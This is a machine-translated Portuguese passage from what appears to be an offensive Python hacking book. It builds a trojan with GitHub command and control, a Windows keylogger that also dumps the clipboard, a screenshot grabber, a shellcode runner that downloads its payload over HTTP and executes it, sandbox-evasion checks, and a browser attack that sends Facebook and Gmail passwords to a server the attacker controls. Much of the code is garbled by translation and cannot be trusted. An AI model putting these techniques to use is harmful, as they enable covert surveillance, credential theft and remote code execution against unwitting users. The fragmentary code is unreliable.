identifica este trojan. Se você explodisse essa técnica em uma botnet completa, desejaria a capacidade de gerar
trojans, definir seu ID, criar automaticamente um arquivo de configuração que é enviado para o GitHub e, em seguida,
compilar o trojan em um executável. Não vamos construir uma botnet hoje; Vou deixar sua imaginação fazer o trabalho.
def connect_to_github(): gh =
login(username="yourusername",password="yourpassword") repo =
gh.repository("yourusername","chapter7") branch = repo.branch("master")
return gh,repo,branch
def get_file_contents(filepath):
retornar nenhum
retornar configuração
Retorna
Essas quatro funções representam a principal interação entre o trojan e o GitHub. A função
connect_to_github simplesmente autentica o usuário no repositório e recupera o repositório atual e os objetos
de ramificação para uso por outras funções. Lembre-se de que, em um cenário do mundo real, você deseja
ofuscar esse procedimento de autenticação da melhor maneira possível. Você também pode querer pensar
sobre o que cada trojan pode acessar em seu repositório com base nos controles de acesso para que, se o
seu trojan for capturado, alguém não possa aparecer e excluir todos os seus dados recuperados. A função
get_file_contents é responsável por pegar arquivos do repositório remoto e ler o conteúdo localmente. Isso é
usado tanto para ler as opções de configuração quanto para ler o código-fonte do módulo.
A função get_trojan_config é responsável por recuperar o documento de configuração remota do
repositório para que seu trojan saiba quais módulos executar. E a função final store_module_result é
usada para enviar todos os dados que você coletou na máquina de destino. Agora vamos criar um hack
de importação para importar arquivos remotos de nosso repositório GitHub.
Machine Translated by Google
Hackeando a funcionalidade de importação do Python Se você
chegou até aqui no livro, sabe que usamos a funcionalidade de importação do Python para extrair bibliotecas
externas para que possamos usar o código contido nelas. Queremos ser capazes de fazer o mesmo com nosso
trojan, mas, além disso, também queremos ter certeza de que, se puxarmos uma dependência (como Scapy ou
netaddr), nosso trojan disponibilize esse módulo para todos os módulos subsequentes que nós puxamos. O Python
nos permite inserir nossa própria funcionalidade em como ele importa módulos, de forma que, se um módulo não
puder ser encontrado localmente, nossa classe de importação será chamada, o que nos permitirá recuperar
remotamente a biblioteca de nosso repositório. Isso é obtido adicionando uma classe personalizada à lista
sys.meta_path . [16] Vamos criar uma classe de carregamento personalizada agora adicionando o seguinte código:
retornar nenhum
def load_module(self,name):
módulo de retorno
Toda vez que o interpretador tenta carregar um módulo que não está disponível, nossa classe GitImporter é
utilizada. A função find_module é chamada primeiro em uma tentativa de localizar o módulo. Passamos essa chamada
para nosso carregador de arquivo remoto ÿ e, se pudermos localizar o arquivo em nosso repositório, decodificamos o
código em base64 e o armazenamos em nossa classe ÿ. Ao retornar self, indicamos ao interpretador Python que
encontramos o módulo e ele pode então chamar nossa função load_module para realmente carregá-lo. Usamos o
módulo imp nativo para primeiro criar um novo objeto de módulo em branco ÿ e, em seguida, colocamos o código que
recuperamos do GitHub nele ÿ. A última etapa é inserir nosso módulo recém-criado na lista sys.modules ÿ para que
seja selecionado por qualquer chamada de importação futura. Agora vamos dar os toques finais no trojan e dar uma
volta.
def module_runner(module):
task_queue.put(1) ÿ
resultado = sys.modules[module].run() task_queue.get()
Retorna
enquanto verdadeiro:
Machine Translated by Google
se task_queue.empty():
ÿ configuração = get_trojan_config()
para a tarefa na
ÿ configuração: t = threading.Thread(target=module_runner,args=(task['module'],)) t.start()
time.sleep(random.randint(1,10))
time.sleep(random.randint(1000,10000))
Primeiro, certifique-se de adicionar nosso importador de módulo personalizado ÿ antes de iniciar o loop
principal de nosso aplicativo. O primeiro passo é pegar o arquivo de configuração do repositório ÿ e então iniciar
o módulo em seu próprio thread ÿ. Enquanto estivermos na função module_runner , simplesmente chamamos a
função run do módulo ÿ para iniciar seu código. Quando terminar de executar, devemos ter o resultado em uma
string que então enviamos para nosso repositório ÿ. O final do nosso cavalo de Tróia ficará inativo por um período
aleatório de tempo na tentativa de frustrar qualquer análise de padrão de rede. É claro que você poderia criar um
monte de tráfego para o Google.com ou qualquer outra coisa na tentativa de disfarçar o que seu trojan está fazendo.
Agora vamos dar uma volta!
Machine Translated by Google
Chutando os pneus
Tudo bem! Vamos dar uma olhada, executando-o a partir da linha de comando.
AVISO
Se você tiver informações confidenciais em arquivos ou variáveis de ambiente, lembre-se de que, sem um repositório
privado, essas informações irão para o GitHub para o mundo inteiro ver. Não diga que não avisei — e é claro que você pode usar
algumas técnicas de criptografia do Capítulo 9.
Perfeito. Ele se conectou ao meu repositório, recuperou o arquivo de configuração, extraiu os dois módulos que
definimos no arquivo de configuração e os executou.
Agora, se você voltar para a linha de comando a partir do diretório do cavalo de Troia, digite:
$ git pull origin master De https://
github.com/blackhatpythonbook/chapter7 -> FETCH_HEAD
* filial mestre
Atualizando f4d9c1d..5225fdf
Avanço rápido
data/abc/29008.data | 1 + data/abc/
44763.data | 1 + 2 arquivos alterados,
2 inserções(+), 0 exclusões(-) modo de criação 100644 data/abc/
29008.data
criar modo 100644 data/abc/44763.data
Há uma série de melhorias e aprimoramentos que você pode fazer nessa técnica básica de comando e controle. A
criptografia de todos os seus módulos, configuração e dados filtrados seria um bom começo. Automatizar o
gerenciamento de back-end de dados suspensos, atualizar arquivos de configuração e lançar novos trojans também
seria necessário se você fosse infectar em grande escala. À medida que você adiciona mais e mais funcionalidades,
também precisa estender como o Python carrega bibliotecas dinâmicas e compiladas. Por enquanto, vamos trabalhar
na criação de algumas tarefas de trojan independentes e deixarei para você integrá-las ao seu novo trojan do GitHub.
[14] O repositório onde esta biblioteca está hospedada está aqui: https:// github.com/ copitux/ python-github3/.
[16] Uma explicação incrível desse processo escrita por Karol Kuczmarski pode ser encontrada aqui: http:// xion.org.pl/ 2012/05/06/
hacking python-imports/.
Machine Translated by Google
Capítulo 8. Tarefas comuns de cavalos de
Tróia no Windows
Ao implantar um trojan, você deseja executar algumas tarefas comuns: obter pressionamentos de
tecla, fazer capturas de tela e executar shellcode para fornecer uma sessão interativa para ferramentas
como CANVAS ou Metasploit. Este capítulo se concentra nessas tarefas. Vamos encerrar as coisas com algumas
técnicas de detecção de sandbox para determinar se estamos executando em um antivírus ou sandbox forense.
Esses módulos serão fáceis de modificar e funcionarão dentro de nossa estrutura de trojan. Em capítulos
posteriores, exploraremos ataques no estilo man-in-the-browser e técnicas de escalonamento de privilégios que
você pode implantar com seu trojan. Cada técnica vem com seus próprios desafios e probabilidade de ser
detectada pelo usuário final ou por uma solução antivírus. Eu recomendo que você modele cuidadosamente seu
alvo depois de implantar seu trojan para que possa testar os módulos em seu laboratório antes de testá-los em um
alvo ativo. Vamos começar criando um keylogger simples.
Machine Translated by Google
Keylogging para diversão e digitação Keylogging
é um dos truques mais antigos do livro e ainda é empregado com vários níveis de discrição hoje.
Os invasores ainda o usam porque é extremamente eficaz na captura de informações confidenciais,
como credenciais ou conversas.
Uma excelente biblioteca Python chamada PyHook [17] nos permite interceptar facilmente todos os eventos do
teclado. Ele aproveita a função nativa do Windows SetWindowsHookEx, que permite instalar uma função definida
pelo usuário a ser chamada para determinados eventos do Windows. Ao registrar um gancho para eventos de
teclado, podemos interceptar todos os pressionamentos de tecla que um destino emite. Além disso, queremos
saber exatamente em qual processo eles estão executando esses pressionamentos de tecla, para que possamos
determinar quando nomes de usuário, senhas ou outras informações úteis são inseridas. PyHook cuida de toda a
programação de baixo nível para nós, o que deixa a lógica central do keystroke logger para nós. Vamos abrir o
keylogger.py e inserir alguns dos encanamentos:
from ctypes import * import
pythoncom import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi current_window
= Nenhum
def get_current_process():
ÿ psapi.GetModuleBaseNameA(h_process,None,byref(executável),512)
# fechar alças
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
Tudo bem! Então, apenas colocamos algumas variáveis auxiliares e uma função que irá capturar a janela ativa e
seu ID de processo associado. Primeiro chamamos GetForeGroundWindow ÿ, que retorna um identificador para a
janela ativa na área de trabalho do alvo. Em seguida, passamos esse identificador para o GetWindowThreadProcessId
Machinepara
ÿ função Translated by Google
recuperar o ID do processo da janela. Em seguida, abrimos o processo ÿ e, usando o identificador de
processo resultante, encontramos o nome executável real ÿ do processo. A etapa final é pegar o texto completo da barra
de título da janela usando a função GetWindowTextA ÿ. No final de nossa função auxiliar, exibimos todas as informações
ÿ em um belo cabeçalho para que você possa ver claramente quais teclas foram pressionadas com qual processo e
janela. Agora vamos colocar a carne do nosso keystroke logger no lugar para finalizar.
def KeyStroke(evento):
janela_atual global
win32clipboard.OpenClipboard() valor_colado
= win32clipboard.GetClipboardData() win32clipboard.CloseClipboard()
outro:
Isso é tudo que você precisa! Definimos nosso PyHook HookManager ÿ e, em seguida, vinculamos o evento KeyDown
à nossa função de retorno de chamada KeyStroke ÿ. Em seguida, instruímos o PyHook a conectar todos os
pressionamentos de tecla ÿ e continuar a execução. Sempre que o alvo pressiona uma tecla no teclado, nossa função
KeyStroke é chamada com um objeto de evento como único parâmetro. A primeira coisa que fazemos é verificar se o
usuário mudou de janela ÿ e, em caso afirmativo, adquirimos o nome da nova janela e as informações do processo. Em
seguida, examinamos o pressionamento de tecla que foi emitido ÿ e, se estiver dentro do intervalo imprimível ASCII,
simplesmente o imprimimos. Se for um modificador (como as teclas SHIFT, CTRL ou ALT ) ou qualquer outra tecla não
padrão, pegamos o nome da chave do objeto de evento. Também verificamos se o usuário está executando uma operação
de colagem ÿ e, se estiver, despejamos o conteúdo da área de transferência. A função de retorno de chamada é encerrada
retornando True para permitir que o próximo gancho na cadeia — se houver — processe o evento. Vamos dar uma volta!
Machine Translated by Google
Chutando os pneus É
fácil testar nosso keylogger. Basta executá-lo e começar a usar o Windows normalmente. Tente usar
seu navegador da Web, calculadora ou qualquer outro aplicativo e visualize os resultados em seu
terminal. A saída abaixo parecerá um pouco estranha, devido apenas à formatação do livro.
C:\>python keylogger-hook.py
teste
[Lwin] r
ÿ [Lshift] + 1 =
Você pode ver que digitei a palavra teste na janela principal onde o script do keylogger foi executado. Em seguida,
iniciei o Internet Explorer, naveguei até www.nostarch.com, e executei alguns outros aplicativos. Agora podemos dizer
com segurança que nosso keylogger pode ser adicionado ao nosso pacote de truques de trojan! Vamos passar a fazer
capturas de tela.
Machine Translated by Google
Capturas de tela A maioria dos
malwares e estruturas de teste de penetração inclui a capacidade de tirar capturas de tela do alvo remoto. Isso pode ajudar
a capturar imagens, quadros de vídeo ou outros dados confidenciais que você pode não ver com uma captura de pacote
ou keylogger. Felizmente, podemos usar o pacote PyWin32 (consulte Instalando os pré-requisitos) para fazer chamadas
nativas à API do Windows para obtê-los.
Um capturador de captura de tela usará a interface de dispositivo gráfico do Windows (GDI) para determinar as
propriedades necessárias, como o tamanho total da tela, e capturar a imagem. Alguns softwares de captura de tela
capturam apenas uma imagem da janela ou aplicativo ativo no momento, mas, em nosso caso, queremos a tela inteira.
Vamos começar. Abra o screenshotter.py e insira o seguinte código:
importar win32gui
importar win32ui
importar win32con
importar win32api
Vamos revisar o que esse pequeno script faz. Primeiro, adquirimos uma alça para toda a área de trabalho ÿ, que inclui
toda a área visível em vários monitores. Em seguida, determinamos o tamanho da(s) tela(s) ÿ para sabermos as
dimensões necessárias para a captura de tela. Criamos um contexto de dispositivo [18] usando a chamada de função
GetWindowDC ÿ e passamos um identificador para nossa área de trabalho. Em seguida, precisamos criar um contexto de
dispositivo baseado em memória ÿ onde armazenaremos nossa captura de imagem até armazenarmos os bytes de bitmap
em um arquivo. Em seguida, criamos um objeto bitmap ÿ que é definido para o contexto do dispositivo de nossa área de
trabalho. A chamada SelectObject então define o contexto do dispositivo baseado em memória para apontar para o objeto
bitmap que estamos capturando. Usamos a função BitBlt ÿ para obter uma cópia bit a bit da imagem da área de trabalho e
armazená-la no contexto baseado em memória. Pense nisso como uma chamada memcpy para objetos GDI. A etapa final
é despejar essa imagem no disco ÿ. Este script é fácil de testar: basta executá-lo a partir da linha de comando e verificar o
diretório C:\WINDOWS\Temp para o arquivo screenshot.bmp . Vamos passar para
Machine Translated
executando by Google
shellcode.
Machine Translated by Google
Execução Pythonic Shellcode Pode chegar um
momento em que você deseja interagir com uma de suas máquinas de destino ou usar um novo módulo de
exploração suculento de seu teste de penetração favorito ou estrutura de exploração. Isso normalmente -
embora nem sempre - requer alguma forma de execução de shellcode. Para executar o shellcode bruto,
simplesmente precisamos criar um buffer na memória e, usando o módulo ctypes , criar um ponteiro de função
para essa memória e chamar a função. No nosso caso, vamos usar urllib2 para pegar o shellcode de um
servidor web no formato base64 e depois executá-lo. Vamos começar! Abra shell_exec.py e digite o seguinte
código:
import urllib2 import
ctypes import base64
# recupere o
shellcode do nosso servidor web
url = "http://localhost:8000/shellcode.bin" ÿ response =
urllib2.urlopen(url)
Quão incrível é isso? Iniciamos recuperando nosso shellcode codificado em base64 de nosso servidor
web ÿ. Em seguida, alocamos um buffer ÿ para armazenar o shellcode depois de decodificá-lo. A função ctypes
cast nos permite converter o buffer para agir como um ponteiro de função ÿ para que possamos chamar nosso
código shell como chamaríamos qualquer função Python normal. Terminamos chamando nosso ponteiro de
função, que faz com que o shellcode execute ÿ.
Machine Translated by Google
Chutando os pneus Você
pode codificar manualmente algum shellcode ou usar seu framework de pentesting favorito como CANVAS
ou Metasploit [19] para gerá-lo para você. Eu escolhi um shellcode de retorno de chamada do Windows x86 para
CANVAS no meu caso. Armazene o shellcode bruto (não o buffer de string!) em /tmp/ shellcode.raw em sua máquina
Linux e execute o seguinte:
justin$ base64 -i shellcode.raw > shellcode.bin justin$ python -m
SimpleHTTPServer Servindo HTTP na porta 0.0.0.0 8000 ...
Nós simplesmente codificamos o shellcode em base64 usando a linha de comando padrão do Linux. O próximo
pequeno truque usa o módulo SimpleHTTPServer para tratar seu diretório de trabalho atual (no nosso caso, /tmp/)
como sua raiz da web. Quaisquer solicitações de arquivos serão atendidas automaticamente para você. Agora solte
seu script shell_exec.py em sua VM do Windows e execute-o. Você deve ver o seguinte em seu terminal Linux:
192.168.112.130 - - [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 -
Isso indica que seu script recuperou o shellcode do servidor da Web simples que você configurou usando o módulo
SimpleHTTPServer . Se tudo correr bem, você receberá um shell de volta à sua estrutura e terá exibido calc.exe ou
exibido uma caixa de mensagem ou qualquer coisa para a qual seu shellcode foi compilado.
Machine Translated by Google
Detecção de Sandbox
Cada vez mais, as soluções antivírus empregam alguma forma de sandboxing para determinar o comportamento
de espécimes suspeitos. Quer esse sandbox seja executado no perímetro da rede, que está se tornando mais popular,
ou na própria máquina de destino, devemos fazer o possível para evitar desviar nossa mão para qualquer defesa
existente na rede do alvo. Podemos usar alguns indicadores para tentar determinar se nosso trojan está sendo executado
em um sandbox. Monitoraremos nossa máquina de destino para informações recentes do usuário, incluindo
pressionamentos de tecla e cliques do mouse.
Em seguida, adicionaremos alguma inteligência básica para procurar pressionamentos de tecla, cliques do mouse e
cliques duplos. Nosso script também tentará determinar se o operador do sandbox está enviando entradas repetidamente
(ou seja, uma sucessão rápida e suspeita de cliques contínuos do mouse) para tentar responder a métodos rudimentares
de detecção de sandbox. Vamos comparar a última vez que um usuário interagiu com a máquina e quanto tempo a
máquina está funcionando, o que deve nos dar uma boa ideia se estamos dentro de um sandbox ou não. Uma máquina
típica tem muitas interações em algum momento durante o dia desde que foi inicializada, enquanto um ambiente de
sandbox geralmente não tem interação do usuário porque sandboxes são normalmente usadas como uma técnica
automatizada de análise de malware.
Podemos então decidir se queremos continuar a execução ou não. Vamos começar a trabalhar em algum código de
detecção de sandbox. Abra sandbox_detect.py e insira o seguinte código:
pressionamentos =0
de tecla =0
mouse_clicks double_clicks= 0
Estas são as principais variáveis onde vamos rastrear o número total de cliques do mouse, cliques duplos e
pressionamentos de tecla. Posteriormente, veremos também o tempo dos eventos do mouse. Agora vamos criar e
testar algum código para detectar quanto tempo o sistema está rodando e quanto tempo desde a última entrada do
usuário. Adicione a seguinte função ao seu script sandbox_detect.py :
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint), ("dwTime",
ctypes.c_ulong) ]
def get_last_input():
struct_lastinputinfo = LASTINPUTINFO() ÿ
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
Definimos uma estrutura LASTINPUTINFO que conterá o timestamp (em milissegundos) de quando o último evento de entrada foi
detectado no sistema. Observe que você precisa inicializar a variável cbSize ÿ para o tamanho da estrutura antes de fazer a
chamada. Em seguida, chamamos a função GetLastInputInfo ÿ, que preenche nosso campo struct_lastinputinfo.dwTime com o
registro de data e hora. A próxima etapa é determinar por quanto tempo o sistema está em execução usando a chamada de função
GetTickCount ÿ. O último pequeno trecho de código ÿ é um código de teste simples, no qual você pode executar o script e mover o
mouse ou pressionar uma tecla no teclado e ver esse novo trecho de código em ação.
A seguir, definiremos limites para esses valores de entrada do usuário. Mas primeiro vale a pena observar que o tempo
total do sistema em execução e o último evento de entrada do usuário detectado também podem ser relevantes para o seu
método específico de implantação. Por exemplo, se você sabe que está apenas implantando usando uma tática de phishing, é
provável que um usuário tenha clicado ou executado alguma operação para ser infectado. Isso significa que, no último minuto ou
dois, você veria a entrada do usuário. Se, por algum motivo, você perceber que a máquina está em execução há 10 minutos e a
última entrada detectada foi há 10 minutos, provavelmente você está dentro de uma caixa de proteção que não processou
nenhuma entrada do usuário. Essas chamadas de julgamento fazem parte de ter um bom trojan que funciona de forma consistente.
Esta mesma técnica pode ser útil para sondar o sistema para ver se um usuário está ocioso ou não, pois você pode querer
apenas começar a tirar screenshots quando ele estiver usando ativamente a máquina e, da mesma forma, você pode querer
apenas transmitir dados ou realizar outras tarefas quando o usuário parece estar offline. Você também pode, por exemplo, modelar
um usuário ao longo do tempo para determinar em quais dias e horas ele normalmente fica online.
Vamos excluir as últimas três linhas do código de teste e adicionar algum código adicional para examinar as teclas digitadas e
os cliques do mouse. Usaremos uma solução pura de ctypes desta vez, em oposição ao método PyHook. Você também pode usar
o PyHook facilmente para essa finalidade, mas ter alguns truques diferentes em sua caixa de ferramentas sempre ajuda, pois cada
antivírus e tecnologia de sandbox tem suas próprias maneiras de identificar esses truques.
Vamos à codificação:
def get_key_press():
ÿ para i no intervalo(0,0xff): ÿ
se user32.GetAsyncKeyState(i) == -32767:
Esta função simples nos diz o número de cliques do mouse, o tempo dos cliques do mouse, bem como quantas teclas o alvo emitiu.
Isso funciona iterando sobre o intervalo de chaves de entrada válidas ÿ; para cada tecla, verificamos se a tecla foi pressionada
usando a chamada de função GetAsyncKeyState ÿ. Se a tecla for detectada como pressionada, verificamos se é 0x1 ÿ, que é o
código da tecla virtual para
umMachine Translated
clique com o botãobyesquerdo
Google do mouse. Incrementamos o número total de cliques do mouse e retornamos o registro
de data e hora atual para que possamos realizar cálculos de tempo mais tarde. Também verificamos se há pressionamentos
de tecla ASCII no teclado ÿ e, em caso afirmativo, simplesmente incrementamos o número total de pressionamentos de
tecla detectados. Agora vamos combinar os resultados dessas funções em nosso loop de detecção de sandbox principal.
Adicione o seguinte código a sandbox_detect.py:
def detect_sandbox():
double_clicks =0
max_double_clicks = 10
double_click_threshold = 0,250 # em segundos first_double_click
= Nenhum
average_mousetime =0
max_input_threshold = 30000 # em milissegundos
Previous_timestamp = Nenhuma
detecção_completa = Falso
ÿ última_entrada = get_última_entrada()
ÿ keypress_time = get_key_press()
outro:
ÿ se double_clicks == max_double_clicks:
ÿ se keypress_time - first_double_click <= (max_double_clicks.
* double_click_threshold): sys.exit(0)
Retorna
anterior_timestamp = keypress_time
Tudo bem. Esteja atento ao recuo nos blocos de código acima! Começamos definindo algumas variáveis ÿ para rastrear o
tempo dos cliques do mouse e alguns limites com relação a quantos toques de tecla ou cliques do mouse estamos
satisfeitos antes de nos considerarmos executando fora de uma caixa de areia. Nós randomizamos esses limites a cada
execução, mas é claro que você pode definir seus próprios limites com base em seus próprios testes.
Em seguida, recuperamos o tempo decorrido ÿ desde que alguma forma de entrada do usuário foi registrada no sistema
e, se acharmos que já faz muito tempo desde que vimos a entrada (com base em como a infecção ocorreu, conforme
mencionado anteriormente), cancelamos fora e o trojan morre. Em vez de morrer aqui, você também pode optar por fazer
alguma atividade inócua, como ler chaves de registro aleatórias ou verificar arquivos. Depois de passarmos por essa
verificação inicial, passamos para nosso loop primário de detecção de pressionamento de tecla e clique do mouse.
Primeiro, verificamos se há pressionamentos de tecla ou cliques do mouse ÿ e sabemos que, se a função retornar um
valor, é o carimbo de data/hora de quando o clique do mouse ocorreu. Em seguida, calculamos o tempo decorrido entre
os cliques do mouse ÿ e comparamos com nosso limite ÿ para determinar se foi um clique duplo.
Juntamente com a detecção de clique duplo, estamos verificando se o operador do sandbox está transmitindo eventos
de clique ÿ para o sandbox para tentar falsificar as técnicas de detecção do sandbox. Por exemplo, seria bastante
estranho ver 100 cliques duplos consecutivos durante o uso normal do computador. Se o número máximo de cliques duplos
for atingido e eles acontecerem em rápida sucessão ÿ, nós salvamos. Nossa etapa final é verificar se passamos por todas
as verificações e atingimos nosso número máximo de cliques, pressionamentos de tecla e cliques duplos ÿ; em caso
afirmativo, saímos de nossa função de detecção de sandbox.
Encorajo você a ajustar e brincar com as configurações e adicionar recursos adicionais, como detecção de máquina
virtual. Pode valer a pena rastrear o uso típico em termos de cliques do mouse, cliques duplos e pressionamentos de
tecla em alguns computadores que você possui (quero dizer possuir - não aqueles que você invadiu!) Para ver onde
você sente que é o ponto feliz. Dependendo do seu alvo, você pode querer configurações mais paranóicas ou pode não
se preocupar com a detecção de sandbox. O uso das ferramentas que você desenvolveu neste capítulo pode atuar como
uma camada básica de recursos a serem implementados em seu trojan e, devido à modularidade de nossa estrutura de
trojaning, você pode optar por implantar qualquer um deles.
[18] Para aprender tudo sobre contextos de dispositivos e programação GDI, visite a página do MSDN aqui: http://
msdn.microsoft.com/ en us/ library/ windows/ desktop/ dd183553(v=vs.85).aspx.
[19] Como o CANVAS é uma ferramenta comercial, dê uma olhada neste tutorial para gerar payloads do Metasploit aqui: http://
www.offensive security.com/ metasploit-unleashed/ Generating_Payloads.
Machine Translated by Google
Capítulo 9. Diversão com o Internet Explorer
A automação do Windows COM atende a vários usos práticos, desde a interação com serviços baseados em rede
até a incorporação de uma planilha do Microsoft Excel em seu próprio aplicativo. Todas as versões do Windows a
partir do XP permitem incorporar um objeto COM do Internet Explorer em aplicativos e aproveitaremos essa
capacidade neste capítulo. Usando o objeto nativo de automação do IE, criaremos um ataque no estilo de
navegador man-in-the-br, onde podemos roubar credenciais de um site enquanto um usuário está interagindo com
ele. Faremos com que esse ataque de roubo de credenciais seja extensível, para que vários sites de destino
possam ser coletados. A última etapa usará o Internet Explorer como meio de exfiltrar dados de um sistema de
destino. Incluiremos alguma criptografia de chave pública para proteger os dados exfiltrados para que somente nós
possamos descriptografá-los.
Internet Explorer, você diz? Embora outros navegadores como Google Chrome e Mozilla Firefox sejam mais
populares atualmente, a maioria dos ambientes corporativos ainda usa o Internet Explorer como navegador padrão.
E, claro, você não pode remover o Internet Explorer de um sistema Windows — portanto, essa técnica deve estar
sempre disponível para o seu trojan do Windows.
Machine Translated by Google
Man-in-the-Browser (mais ou menos)
Os ataques Man-in-the-browser (MitB) existem desde a virada do novo milênio. Eles são uma variação do clássico ataque
man-in-the-middle. Em vez de agir no meio de uma comunicação, o malware se instala e rouba credenciais ou informações
confidenciais do navegador do alvo desavisado. A maioria dessas variedades de malware (normalmente chamadas de
objetos auxiliares do navegador) se inserem no navegador ou injetam código de outra forma para que possam manipular
o próprio processo do navegador. À medida que os desenvolvedores de navegadores se tornam conhecedores dessas
técnicas e os fornecedores de antivírus procuram cada vez mais esse comportamento, temos que ser um pouco mais
sorrateiros. Aproveitando a interface COM nativa para o Internet Explorer, podemos controlar qualquer sessão do IE para
obter credenciais para sites de redes sociais ou logins de e-mail. É claro que você pode estender essa lógica para alterar
a senha de um usuário ou realizar transações com sua sessão de login. Dependendo do seu alvo, você também pode
usar esta técnica em conjunto com o seu módulo keylogger para forçá-lo a se autenticar novamente em um site enquanto
você captura as teclas digitadas.
Começaremos criando um exemplo simples que observará um usuário navegando no Facebook ou Gmail, autenticando-o
e, em seguida, modificando o formulário de login para enviar seu nome de usuário e senha para um servidor HTTP que
controlamos . Nosso servidor HTTP irá simplesmente redirecioná-los de volta para a página de login real.
Se você já fez algum desenvolvimento em JavaScript, notará que o modelo COM para interagir com o IE é muito
semelhante. Estamos escolhendo o Facebook e o Gmail porque os usuários corporativos têm o péssimo hábito de
reutilizar senhas e usar esses serviços para negócios (particularmente, encaminhar e-mails de trabalho para o Gmail, usar
o bate-papo do Facebook com colegas de trabalho e assim por diante). Vamos abrir mitb.py e inserir o seguinte código:
ÿ data_receiver = "http://localhost:8080/"
ÿ target_sites = {}
target_sites["www.facebook.com"] = {"logout_url"
: Nenhum,
"logout_form" : "logout_form","login_form_index": 0, :
Falso}
"possuído"
=
target_sites["accounts.google.com"] {"logout_url"
: "https://accounts.google.com/
Sair?hl=en&continue=https://accounts.google.com/ ServiceLogin%3Fservice%3Dmail",
"logout_form" : Nenhum,
"login_form_index": 0,
"possuído" : Falso}
clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'
ÿ windows = win32com.client.Dispatch(clsid)
Estes são os ingredientes do nosso ataque man-(mais ou menos)-no-navegador. Definimos nossa variável data_receiver
ÿ como o servidor web que receberá as credenciais de nossos sites de destino. Este método é mais arriscado, pois um
usuário astuto pode ver o redirecionamento acontecer, portanto, como um projeto de lição de casa futuro, você pode
Machine
pense emTranslated
maneirasby
deGoogle
extrair cookies ou enviar as credenciais armazenadas por meio do DOM por meio de uma
tag de imagem ou outros meios que pareçam menos suspeitos. Em seguida, configuramos um dicionário de sites-
alvo ÿ que nosso ataque suportará. Os membros do dicionário são os seguintes: logout_url é uma URL que
podemos redirecionar por meio de uma solicitação GET para forçar um usuário a sair; o logout_form é um elemento
DOM que podemos enviar que força o logout; login_form_index é o local relativo no DOM do domínio de destino
que contém o formulário de login que modificaremos; e o sinalizador de propriedade nos diz se já capturamos
credenciais de um site de destino porque não queremos forçá-los a fazer login repetidamente ou o destino pode
suspeitar que algo está acontecendo. Em seguida, usamos o ID de classe do Internet Explorer e instanciamos o
objeto COM ÿ, que nos dá acesso a todas as guias e instâncias do Internet Explorer que estão em execução no
momento.
Agora que temos a estrutura de suporte pronta, vamos criar o loop principal do nosso ataque:
enquanto verdadeiro:
url = urlparse.urlparse(browser.LocationUrl)
ÿ se url.hostname em target_sites:
ÿ se target_sites[url.hostname]["propriedade"]: continuar
outro:
exceto:
passar
exceto:
passar
tempo.sono(5)
Este é o nosso loop principal onde monitoramos a sessão do navegador de nosso destino para os sites dos quais
queremos obter as credenciais. Começamos iterando por todos os objetos do Internet Explorer ÿ atualmente em
execução; isso inclui guias ativas no IE moderno. Se descobrirmos que o alvo está visitando um de nossos sites
predefinidos ÿ podemos iniciar a lógica principal do nosso ataque. O primeiro passo é determinar se já executamos
um ataque contra este site ÿ; se assim for, não o executaremos novamente. (Isso tem um
Machine Translated
a desvantagem é que,by
seGoogle
o usuário não digitar sua senha corretamente, você poderá perder suas credenciais; Vou deixar nossa
solução simplificada como uma tarefa de casa para melhorar.)
Em seguida, testamos para ver se o site de destino possui um URL de logout simples para o qual podemos redirecionar ÿ e, se
for o caso, forçamos o navegador a fazer isso. Se o site de destino (como o Facebook) exigir que o usuário envie um formulário
para forçar o logout, começamos a iterar sobre o DOM ÿ e quando descobrimos o ID do elemento HTML registrado no formulário
de logout ÿ, forçamos o formulário a ser submetido. Depois que o usuário for redirecionado para o formulário de login, modificamos
o ponto de extremidade do formulário para postar o nome de usuário e a senha em um servidor que controlamos ÿ e, em seguida,
esperamos que o usuário faça um login. Observe que colocamos o nome do host do nosso site de destino no final da URL do nosso
servidor HTTP que coleta as credenciais.
Isso é feito para que nosso servidor HTTP saiba para qual site redirecionar o navegador após coletar as credenciais.
Você notará a função wait_for_browser mencionada em alguns pontos acima, que é uma função simples que espera que um
navegador conclua uma operação, como navegar para uma nova página ou aguardar o carregamento completo de uma página.
Vamos adicionar essa funcionalidade agora inserindo o seguinte código acima do loop principal do nosso script:
def wait_for_browser(navegador):
Retorna
Bem simples. Estamos apenas procurando que o DOM seja totalmente carregado antes de permitir que o restante do nosso
script continue em execução. Isso nos permite cronometrar cuidadosamente quaisquer modificações de DOM ou operações
de análise.
Machine Translated by Google
Criando o servidor Agora que
configuramos nosso script de ataque, vamos criar um servidor HTTP muito simples para coletar as
credenciais conforme elas são enviadas. Abra um novo arquivo chamado cred_server.py e insira o
seguinte código:
import SimpleHTTPServer import
SocketServer import urllib
Este simples trecho de código é nosso servidor HTTP especialmente projetado. Inicializamos a classe base
TCPServer com o IP, a porta e a classe CredRequestHandler ÿ que será responsável por tratar as requisições
HTTP POST. Quando nosso servidor recebe uma solicitação do navegador do destino, lemos o cabeçalho
Content-Length ÿ para determinar o tamanho da solicitação e, em seguida, lemos o conteúdo da solicitação ÿ
e o imprimimos ÿ. Em seguida, analisamos o site de origem (Facebook, Gmail etc.) ÿ e forçamos o navegador
de destino a redirecionar ÿ de volta à página principal do site de destino. Um recurso adicional que você pode
